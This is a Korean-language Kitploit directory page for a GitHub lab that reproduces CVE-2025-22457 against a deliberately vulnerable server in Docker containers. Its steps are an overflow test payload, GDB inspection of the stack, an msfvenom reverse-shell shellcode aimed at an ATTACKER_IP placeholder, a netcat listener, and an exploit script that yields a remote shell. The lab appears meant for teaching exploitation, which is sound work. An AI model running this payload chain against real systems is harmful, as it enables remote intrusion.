Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-22457-vulnserver-lab — CVE-2025-22457을 재현하는 실습 랩: Docker 공격자/피해자 컨테이너를 설정하고, GDB로 스택 주소를 찾아 msfvenom 리버스 셸 익스플로잇을 전달합니다. | Kitploit
도구/GitHubGitHub/donofly/cve-2025-22457-vulnserver-lab
Payload GenerationVulnerability AnalysisExploitationShellcodeCTFPenetration TestingLearning & EducationBinary ExploitationLabs & Practice

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubdonofly/cve-2025-22457-vulnserver-lab

CVE-2025-22457-vulnserver-lab

CVE-2025-22457을 재현하는 실습 랩: Docker 공격자/피해자 컨테이너를 설정하고, GDB로 스택 주소를 찾아 msfvenom 리버스 셸 익스플로잇을 전달합니다.

저장소 보기
21시간 1분 전아직 검토되지 않음

step 1 environment setting

권한 & 실행 스크립트

Windows를 사용하는 경우 wsl을 열어 실행할 수 있습니다

root@kitploit:~
chmod +x setup_environment.sh
./setup_environment.sh

step 2: 동적 값 찾기 (수동 단계 필요)

메모리 주소와 IP는 환경마다 동적으로 변하기 때문에 수동으로 찾아서 exploit.py 스크립트를 업데이트해야 합니다.

2.0 먼저 attacker docker 두 개와 victim docker 하나를 열어 이후 준비를 합니다

root@kitploit:~
docker exec -it atac /bin/bash
docker exec -it vic /bin/bash

2.1 stack_address (반환 주소) 찾기

이 단계의 목표는 payload가 정확하게 점프할 수 있도록 안정적인 스택 주소를 찾는 것입니다.

1. victim docker에서 GDB 실행
root@kitploit:~
gdb ./vulnserver
2. strcpy 함수 이후에 브레이크포인트 설정
root@kitploit:~
(gdb) b strcpy
3. 프로그램 실행, vulnserver가 리스닝 시작
root@kitploit:~
(gdb) run

브레이크포인트 트리거: attacker docker를 사용하여 다음 명령을 실행해 테스트 payload를 전송합니다. 그러면 GDB가 브레이크포인트에서 멈춥니다. 주의: <VICTIM_IP>를 step 1에서 표시된 Victim IP로 바꾸세요.

root@kitploit:~
python3 -c 'import socket; s = socket.socket(); s.connect(("<VICTIM_IP>", 9999)); s.send(b"A"*516 + b"BBBB" + b"C"*300); s.close()'

주소를 찾아 기록: GDB가 있는 터미널 창으로 돌아가면 프로그램이 이미 멈춰 있을 것입니다. 다음 명령을 실행해 스택을 확인합니다:

root@kitploit:~
(gdb) x/200wx $esp

출력에서 0x43434343 ('C'를 나타냄)으로 구성된 영역을 찾습니다. 이 영역의 중간에서 아무 주소나 하나 골라 (예: 0xffffd580) 복사합니다. 이것이 stack_address입니다.

2.2 exploit.py 업데이트 및 buf (Shellcode) 생성

stack_address 업데이트:

텍스트 편집기로 exploit.py의 stack_address를 방금 복사한 address로 업데이트합니다

buf (Shellcode) 생성 및 업데이트:

attacker 컨테이너의 shell에서 msfvenom 명령을 실행해 shellcode를 생성합니다. 주의: <ATTACKER_IP>를 step 1에서 표시된 Attacker IP로 바꾸세요.

root@kitploit:~
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -b '\x00' -f python

msfvenom 출력의 buf = b""... 코드 전체를 복사해서 exploit.py 파일에 있는 기존 buf 변수 부분을 완전히 대체합니다.

step 3 : 공격 실행

리스너 시작: attacker 컨테이너 중 하나의 shell 창에서 다음 명령을 실행해 netcat 리스너를 시작합니다.

root@kitploit:~
nc -lvnp 4444

victim 연결 허용:

다음 두 가지 방법을 사용할 수 있습니다 방법 1

root@kitploit:~
./vulnserver

방법 2

root@kitploit:~
gdb ./vulnserver
gef➤  run

공격 스크립트 실행: attacker docker에서 업데이트된 exploit.py를 실행합니다. (주의: <victim_ip>를 step 1에서 표시된 victim ip로 업데이트하세요)

root@kitploit:~
python3 exploit.py <victim_ip>

결과 확인: netcat 리스너가 있는 창으로 다시 전환합니다. 모든 것이 순조롭게 진행되면 연결이建立된 것을 볼 수 있고 상호작용 가능한 shell을 얻습니다. whoami, ls -la 등의 명령을 입력해 확인할 수 있습니다.

step 4 : 환경 정리

GDB와 컨테이너 종료:
root@kitploit:~
GDB에서 quit을 입력한 다음 컨테이너 shell에서 exit을 입력합니다.

다음 명령을 실행해 모든 컨테이너와 네트워크를 종료하고 정리할 수 있습니다.

root@kitploit:~
docker stop vic atac
docker network rm 111550082_net
도구 다운로드